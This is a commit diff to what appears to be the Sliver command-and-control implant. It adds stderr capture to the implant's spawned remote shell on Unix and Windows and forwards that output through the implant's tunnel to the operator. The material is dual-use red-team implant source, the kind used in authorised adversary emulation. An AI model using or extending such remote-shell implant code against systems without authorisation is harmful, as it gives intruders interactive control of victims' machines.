Handle stderr for shell command

implant/sliver/handlers/tunnel_handlers/shell_handler.go

@@ -100,6 +100,32 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
 		}
 	}
 
+	// Handle stderr
+	// Ideally we'd want the tunnel interface to use a slice of io.Readers and iterate over them.
+	// Not sure how that would work with the sequencing stuff in data_handler.go
+	go func() {
+		tWriter := tunnelWriter{
+			conn: connection,
+			tun:  tunnel,
+		}
+		_, err := io.Copy(tWriter, systemShell.Stderr)
+
+		if err != nil {
+			cleanup("io error", err)
+			return
+		}
+		if systemShell.Command.ProcessState != nil {
+			if systemShell.Command.ProcessState.Exited() {
+				cleanup("process terminated", nil)
+				return
+			}
+		}
+		if err == io.EOF {
+			cleanup("EOF", err)
+			return
+		}
+	}()
+
 	go func() {
 		tWriter := tunnelWriter{
 			tun:  tunnel,

implant/sliver/shell/shell-pty.go

@@ -77,13 +77,23 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
 		return nil, err
 	}
 
+	stderr, err := cmd.StderrPipe()
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] stderr pipe failed\n")
+		// {{end}}
+		cancel()
+		return nil, err
+	}
+
 	err = cmd.Start()
 
 	return &Shell{
 		ID:      tunnelID,
 		Command: cmd,
 		Stdout:  stdout,
 		Stdin:   stdin,
+		Stderr:  stderr,
 		Cancel:  cancel,
 	}, err
 }

implant/sliver/shell/shell.go

@@ -31,6 +31,7 @@ type Shell struct {
 	Command *exec.Cmd
 	Stdout  io.ReadCloser
 	Stdin   io.WriteCloser
+	Stderr  io.ReadCloser
 	Cancel  context.CancelFunc
 }
 

implant/sliver/shell/shell_generic.go

@@ -72,11 +72,21 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
 		return nil, err
 	}
 
+	stderr, err := cmd.StderrPipe()
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] stderr pipe failed\n")
+		// {{end}}
+		cancel()
+		return nil, err
+	}
+
 	return &Shell{
 		ID:      tunnelID,
 		Command: cmd,
 		Stdout:  stdout,
 		Stdin:   stdin,
+		Stderr:  stderr,
 		Cancel:  cancel,
 	}, nil
 }

implant/sliver/shell/shell_windows.go

@@ -95,13 +95,23 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
 		return nil, err
 	}
 
+	stderr, err := cmd.StderrPipe()
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] stderr pipe failed\n")
+		// {{end}}
+		cancel()
+		return nil, err
+	}
+
 	err = cmd.Start()
 
 	return &Shell{
 		ID:      tunnelID,
 		Command: cmd,
 		Stdout:  stdout,
 		Stdin:   stdin,
+		Stderr:  stderr,
 		Cancel:  cancel,
 	}, err
 }